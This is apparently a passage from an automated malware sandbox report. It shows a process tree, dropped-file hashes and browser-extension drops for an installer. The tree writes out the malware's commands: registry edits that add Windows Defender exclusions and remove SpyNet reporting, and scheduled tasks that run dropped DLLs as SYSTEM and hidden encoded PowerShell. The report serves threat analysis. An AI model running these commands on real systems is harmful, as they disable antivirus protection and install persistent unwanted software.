                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                          PID:1976
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                          3⤵
                                                                                                            PID:3184
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                            3⤵
                                                                                                              PID:4064
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                              3⤵
                                                                                                                PID:1420
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:3612
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:4176
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:5088
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:4536
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:3384
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2192
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4092
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:3536
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "ghBhVbGvV" /SC once /ST 07:20:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:2904
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /run /I /tn "ghBhVbGvV"
                                                                                                                              2⤵
                                                                                                                                PID:4928
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "ghBhVbGvV"
                                                                                                                                2⤵
                                                                                                                                  PID:3032
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "ZJggANjsYpCqsGjEe" /SC once /ST 02:05:21 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\pYgLvzg.exe\" UK /Eesite_idUFE 385118 /S" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:1208
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /run /I /tn "ZJggANjsYpCqsGjEe"
                                                                                                                                  2⤵
                                                                                                                                    PID:4064
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:968
                                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                    2⤵
                                                                                                                                      PID:836
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                    1⤵
                                                                                                                                      PID:3628
                                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                      1⤵
                                                                                                                                        PID:2344
                                                                                                                                      • C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\pYgLvzg.exe
                                                                                                                                        C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\pYgLvzg.exe UK /Eesite_idUFE 385118 /S
                                                                                                                                        1⤵
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops Chrome extension
                                                                                                                                        • Drops desktop.ini file(s)
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:1264
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /DELETE /F /TN "bCAdHbOFiqtMCRhbmR"
                                                                                                                                          2⤵
                                                                                                                                            PID:3744
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                            2⤵
                                                                                                                                              PID:440
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:4348
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                2⤵
                                                                                                                                                  PID:540
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3280
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\tNnhCw.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                    2⤵
                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                    PID:1780
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\WzifBYp.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                    PID:3300
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4728
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1176
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\XAURHoN.xml" /RU "SYSTEM"
                                                                                                                                                        2⤵
                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                        PID:2200
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\KjhbCSI.xml" /RU "SYSTEM"
                                                                                                                                                        2⤵
                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                        PID:3412
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\TBCallY.xml" /RU "SYSTEM"
                                                                                                                                                        2⤵
                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                        PID:448
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\uMbOcfx.xml" /RU "SYSTEM"
                                                                                                                                                        2⤵
                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                        PID:2140
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /CREATE /TN "kkPqOHrufYpxTagPJ" /SC once /ST 03:32:34 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\bgdrEXob\HkLsCsS.dll\",#1 /Wxsite_idemL 385118" /V1 /F
                                                                                                                                                        2⤵
                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                        PID:3184
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /run /I /tn "kkPqOHrufYpxTagPJ"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4064
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                          2⤵
                                                                                                                                                            PID:3668
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3852
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                              2⤵
                                                                                                                                                                PID:792
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:2060
                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                  schtasks /DELETE /F /TN "ZJggANjsYpCqsGjEe"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:3680
                                                                                                                                                                • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\bgdrEXob\HkLsCsS.dll",#1 /Wxsite_idemL 385118
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:2332
                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\bgdrEXob\HkLsCsS.dll",#1 /Wxsite_idemL 385118
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                      PID:3960
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /DELETE /F /TN "kkPqOHrufYpxTagPJ"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3044

                                                                                                                                                                    Network

                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                          Replay Monitor

                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                          Downloads

                                                                                                                                                                          • C:\Program Files (x86)\LCifMpYymZWU2\XAURHoN.xml

                                                                                                                                                                            Filesize

                                                                                                                                                                            2KB

                                                                                                                                                                            MD5

                                                                                                                                                                            ac4903405cb16027651bfe98f33f6b32

                                                                                                                                                                            SHA1

                                                                                                                                                                            37850f41b2ab68c666009b2999060eaeef3ea860

                                                                                                                                                                            SHA256

                                                                                                                                                                            4e7ab6b3cae161c7620f3dc3ce36f8819250bfbadaec42d6d7ebc57669e15824

                                                                                                                                                                            SHA512

                                                                                                                                                                            62438e425682eaa6282cbb807061abaceb0436022ad2c45389d170b4316409db51619bd227a48fb71f063896ac9fe0a2550dd2686296677b6ab3231d4b4c9a12

                                                                                                                                                                          • C:\Program Files (x86)\mVqQIGUXDOgrC\uMbOcfx.xml

                                                                                                                                                                            Filesize

                                                                                                                                                                            2KB

                                                                                                                                                                            MD5

                                                                                                                                                                            29b23accb44d9d0d37565c05d531eb50

                                                                                                                                                                            SHA1

                                                                                                                                                                            e25cd4cde4355012f72a8ba8127bb303c0e1a8ed

                                                                                                                                                                            SHA256

                                                                                                                                                                            77f49024f891b4691064015f95692ca7d076cf9b5c3eaaaa5809197ca5e1cc27

                                                                                                                                                                            SHA512

                                                                                                                                                                            ec0f68cf120e7df78ab665858da69d8985d9bf0c5345609618f720b028e2d20856acfd7d5de99dc2a941e134e7e52b19e618eaba4f88aad739376b8c5a6266c1

                                                                                                                                                                          • C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\TBCallY.xml

                                                                                                                                                                            Filesize

                                                                                                                                                                            2KB

                                                                                                                                                                            MD5

                                                                                                                                                                            8fe945b7da77e0a7ed1f32f870c0a131

                                                                                                                                                                            SHA1

                                                                                                                                                                            1f21941b6088b95e09dae1b6a2deb623c7c77879

                                                                                                                                                                            SHA256

                                                                                                                                                                            1e39b83a05fea69ea0a33d9a6d47d13ba4ac8ed36b1a4748aa3738bdb5223041

                                                                                                                                                                            SHA512

                                                                                                                                                                            5320c02b3a5baade113c7d0932baf93add2bd20f06cb2efcd3be80676b691d138f9e7ae13ab86d30e94c334ea0680f7ec5968af4a8e906ee97ddd2b560c39b28

                                                                                                                                                                          • C:\Program Files (x86)\yvWovCiVU\WzifBYp.xml

                                                                                                                                                                            Filesize

                                                                                                                                                                            2KB

                                                                                                                                                                            MD5

                                                                                                                                                                            7c14a341bab39cd23c55e8448df2dc3c

                                                                                                                                                                            SHA1

                                                                                                                                                                            8c961bf53caeb5aaaadb048a679016fdd4b73bd5

                                                                                                                                                                            SHA256

                                                                                                                                                                            cdccb36b6de050ba26b8d1977628e3a3425cb5dcc1e1276dbb7d4639a4b4fa40

                                                                                                                                                                            SHA512

                                                                                                                                                                            8028efa1000cc94bc7d0242cd57eb36a8578bafec7cda64740b17a050aa20379c9f9978b2b886c4a5b35c411202da623e06d4cb8fa4f11a394a61539bf19c4ad

                                                                                                                                                                          • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                            Filesize

                                                                                                                                                                            2.0MB

                                                                                                                                                                            MD5

                                                                                                                                                                            8f295a2764732467a052e919ede91680

                                                                                                                                                                            SHA1

                                                                                                                                                                            2b56960c5fc5478bcc6244fe3b02fe9e65a54aee

                                                                                                                                                                            SHA256

                                                                                                                                                                            159b5b5c365c5185664cfcca0cf100a6c58d84efa207aeebd5b3522018c0095d

                                                                                                                                                                            SHA512

                                                                                                                                                                            003f8446376c6567b0309ca7a4df10c14781a30bbffda98ef92c54572d8ee1908b96b1f537081645778395cdcdad284081b8e7ded530b1d04ab4d4062eae58c2

                                                                                                                                                                          • C:\ProgramData\WkkDuRgYrrqHXcVB\KjhbCSI.xml

                                                                                                                                                                            Filesize

                                                                                                                                                                            2KB

                                                                                                                                                                            MD5

                                                                                                                                                                            912a65086bdd62ecdb3eed15e15952d1

                                                                                                                                                                            SHA1

                                                                                                                                                                            ec75f69ac4b8b4a9363128436f9bd0253fc15e0f

                                                                                                                                                                            SHA256

                                                                                                                                                                            e1e197ee36e0f797f97ebe0b7fcf46d249376e96b6585a162b88ea1faa8bc187

                                                                                                                                                                            SHA512

                                                                                                                                                                            c09e5397ad2abe9bb0ee9d7157f06c292196f3d44dfa934ae18e113b9f51e5437953460485647488a01b939912e8bd6d1e6c4f1fb348b82b3dd43794500e1e0f

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                            Filesize

                                                                                                                                                                            187B

                                                                                                                                                                            MD5

                                                                                                                                                                            2a1e12a4811892d95962998e184399d8

                                                                                                                                                                            SHA1

                                                                                                                                                                            55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                            SHA256

                                                                                                                                                                            32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                            SHA512

                                                                                                                                                                            bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                            Filesize

                                                                                                                                                                            136B

                                                                                                                                                                            MD5

                                                                                                                                                                            238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                            SHA1

                                                                                                                                                                            0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                            SHA256

                                                                                                                                                                            801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                            SHA512

                                                                                                                                                                            2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                            Filesize

                                                                                                                                                                            150B

                                                                                                                                                                            MD5

                                                                                                                                                                            0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                            SHA1

                                                                                                                                                                            6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                            SHA256

                                                                                                                                                                            0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                            SHA512

                                                                                                                                                                            5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                            Filesize

                                                                                                                                                                            10KB

                                                                                                                                                                            MD5

                                                                                                                                                                            caf474a379d7a4d6c13f035f7ed4748e

                                                                                                                                                                            SHA1

                                                                                                                                                                            58fe63fda46a2a146f4381008e96c94298ff830b

                                                                                                                                                                            SHA256

                                                                                                                                                                            09e0e6692d2184319435a48cfe783064b41c5cdc6bf92ec4c8ca5ee4e7ff2823

                                                                                                                                                                            SHA512

                                                                                                                                                                            8e3b2cfea45e101d6e29a50652d0781f847145413d206187b298b931593a8ff3d319725f2c29eb5d628b07f41a806c0bf8a5afcedf581ce24435f05b67d1c02c

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                            Filesize

                                                                                                                                                                            26KB

                                                                                                                                                                            MD5

                                                                                                                                                                            c06f2e8a5fd3251b2a290c3eec612d16

                                                                                                                                                                            SHA1

                                                                                                                                                                            f63e5453023b5fac34210d9432292159bb4edfc6

                                                                                                                                                                            SHA256

                                                                                                                                                                            a2639a16cb431f5e9c0d6e99af8025c36421532078a10e12bcc9f5ec29f61bb4

                                                                                                                                                                            SHA512

                                                                                                                                                                            c6240614f3544f4897d5e3ba51b765c230777b0e628b1b7736a7340e2cc8a34b58ad5d07649d84c6aa59a33c1ca25790e84276da6ceb24f110e1b7df7bb51920

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                            Filesize

                                                                                                                                                                            2KB

                                                                                                                                                                            MD5

                                                                                                                                                                            6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                                            SHA1

                                                                                                                                                                            24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                                            SHA256

                                                                                                                                                                            b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                                            SHA512

                                                                                                                                                                            0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                                                            Filesize

                                                                                                                                                                            151B

                                                                                                                                                                            MD5

                                                                                                                                                                            bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                            SHA1

                                                                                                                                                                            9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                            SHA256

                                                                                                                                                                            b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                            SHA512

                                                                                                                                                                            3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                            Filesize

                                                                                                                                                                            15KB

                                                                                                                                                                            MD5

                                                                                                                                                                            498f0cf6885952beefda3ee3d4e500ac

                                                                                                                                                                            SHA1

                                                                                                                                                                            32473ffe8542d9a98363cbbeaa800f0abe5aed6f

                                                                                                                                                                            SHA256

                                                                                                                                                                            2e306ef74aa5540731e5a1b0d7623c573e59bd87e5b5581b436b2ff75f98acd3

                                                                                                                                                                            SHA512

                                                                                                                                                                            e0300e8d5ddd1ea5ce07145c1dd1e670e39fded8f9a47dbc54765095e2cd16a88604d38719d74d6b8e3125a875fbabea7797d43f8e75742bb2754e5fb45a2067

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                            Filesize

                                                                                                                                                                            64B

                                                                                                                                                                            MD5

                                                                                                                                                                            0ff7e1af4cc86e108eef582452b35523

                                                                                                                                                                            SHA1

                                                                                                                                                                            c2ccf2811d56c3a3a58dced2b07f95076c6b5b96

                                                                                                                                                                            SHA256

                                                                                                                                                                            62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0

                                                                                                                                                                            SHA512

                                                                                                                                                                            374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSD820.tmp\Install.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            6.9MB

                                                                                                                                                                            MD5

                                                                                                                                                                            ea99e72c1ac89aa9cc14178b1c46d50d

                                                                                                                                                                            SHA1

                                                                                                                                                                            60b896781f40e89106d0c76abd11c5b5d0832943

                                                                                                                                                                            SHA256

                                                                                                                                                                            9cd503eed313e3c5293f192804c0f20a4eef448876f8375fbc26a25be36d5b28

                                                                                                                                                                            SHA512

                                                                                                                                                                            03693bda0c8b693c09e416a7d0c335294f74804f336058a59612a07aa0dd918cd70958cc95feba7d3b26b2df235b0a60d0347d6ed6e353fec8c87c969f6068f1

                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rd1ntxmz.lwr.ps1

                                                                                                                                                                            Filesize

                                                                                                                                                                            60B

                                                                                                                                                                            MD5

                                                                                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                            SHA1

                                                                                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                            SHA256

                                                                                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                            SHA512

                                                                                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4s2odj76.default-release\prefs.js

                                                                                                                                                                            Filesize

                                                                                                                                                                            6KB

                                                                                                                                                                            MD5

                                                                                                                                                                            9f5d19f4308947e31bfec79805664d68

                                                                                                                                                                            SHA1

                                                                                                                                                                            deb245997ca81b5e02891fad9ba9a1e06a6cab57

                                                                                                                                                                            SHA256

                                                                                                                                                                            30bad5e8d239c100f9fc46e6d90e1ca51cfe1eb73fff9532e2acebbd8ab19366

                                                                                                                                                                            SHA512

                                                                                                                                                                            b3f1274d0f1e4b3b3bf8be35dc7c4e00e7b50fd2a6e1d6593a64f50a56c923db45544beeefe58df601b7cbcb8df51ffb4b8fb7f4ec7a0d12bb7fc62c61293e88

                                                                                                                                                                          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                            Filesize

                                                                                                                                                                            1KB

                                                                                                                                                                            MD5

                                                                                                                                                                            33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                                            SHA1

                                                                                                                                                                            36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                                            SHA256

                                                                                                                                                                            b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                                            SHA512

                                                                                                                                                                            676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                                          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                            Filesize

                                                                                                                                                                            11KB

                                                                                                                                                                            MD5

                                                                                                                                                                            32641c5ff6d31b1ec0edf8b177c94b4e

                                                                                                                                                                            SHA1

                                                                                                                                                                            256924cdceddfbd3fd0d5d4d35de4eba965e9a04

                                                                                                                                                                            SHA256

